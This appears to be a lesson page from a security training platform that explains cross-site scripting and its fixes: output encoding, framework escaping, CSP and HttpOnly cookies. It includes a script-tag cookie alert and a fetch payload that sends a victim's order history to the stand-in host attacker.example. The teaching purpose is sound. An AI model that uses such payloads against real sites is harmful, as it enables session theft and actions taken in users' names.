Cross-Site Scripting
XSS is when a web application lets an attacker inject JavaScript that runs in another user's browser, on the victim site's origin. The attacker's script can then read that user's cookies, tokens, and page content — and act as that user.
Why this lab is theory, not live. A live XSS lab would execute untrusted JavaScript on the same origin as this platform. That would let a payload escape the lab and reach your account. So for your safety, this lab teaches XSS through explanation, code, and screenshots. A sandboxed live version on an isolated subdomain is coming.
The problem
What XSS looks like, and where it lives.
Where it happens
XSS happens anywhere the app takes user input and puts it back into the page without treating it as untrusted. That includes search boxes, comment fields, profile names, URL parameters, headers echoed back in errors, and more.
A simple example
Imagine a search page that says You searched for: <YOUR INPUT> and inserts your input as HTML. Send it this:
q=<script>alert(document.cookie)</script>If the app renders that without escaping, the browser sees a real <script> tag, runs it, and shows the victim's cookies in an alert.
session=... — the attacker's script just read the victim's session cookie.How it works
Why the browser cannot tell the difference.
The browser has no way to know that the <script> block came from a user, not from the application. It sees HTML, and it runs HTML. That is the entire vulnerability: untrusted input reaching an execution context.
Three flavours
Reflected — the payload is in the request, and is reflected back in the response immediately. The victim has to click a crafted link. (Lab 14.)
Stored — the payload is saved on the server (in a comment, a profile, a message), and served to every visitor of that page. No crafted link required. (Lab 13.)
DOM-based — the payload never reaches the server. Client-side JavaScript reads a value from the URL and writes it into the page. (Lab 15.)
A payload that acts as the user
Once the script runs on the victim's origin, it can do anything the victim could do:
fetch('/api/orders').then(r => r.text()).then(t => {
fetch('https://attacker.example/steal', {
method: 'POST',
body: t
});
});The script sends the victim's order history to the attacker's server. The victim sees nothing unusual — the request went to the site they were already on, with the cookies the browser was already sending.
The impact
What an attacker actually gets.
If the site has any user data — orders, messages, profile info, payment history — an XSS payload can read all of it. It can act on the victim's behalf: place orders, change passwords, transfer funds, send messages as them.
It can also spread. A stored XSS in a comment section can worm its way through every user who views the page.
attacker.example.How to fix it
The one rule: treat all user input as data, never as code.
Output encode. Before user input is placed into an HTML context, encode the special characters: & becomes &, < becomes <, > becomes >. Now <script> renders as text — inert.
Use the framework's escaping. React, Vue, Angular, and every modern backend template engine escape by default. The bug happens when a developer reaches for the "render as raw HTML" escape hatch.
Content Security Policy. A CSP that forbids inline <script> and only allows scripts from your own origin means even an escaped payload cannot execute. This is defense in depth, not a substitute for encoding.
HttpOnly cookies. Mark session cookies HttpOnly so a script cannot read them via document.cookie. This does not stop XSS — the script can still act as the user — but it raises the bar.
This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 12 — Cross-Site Scripting
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →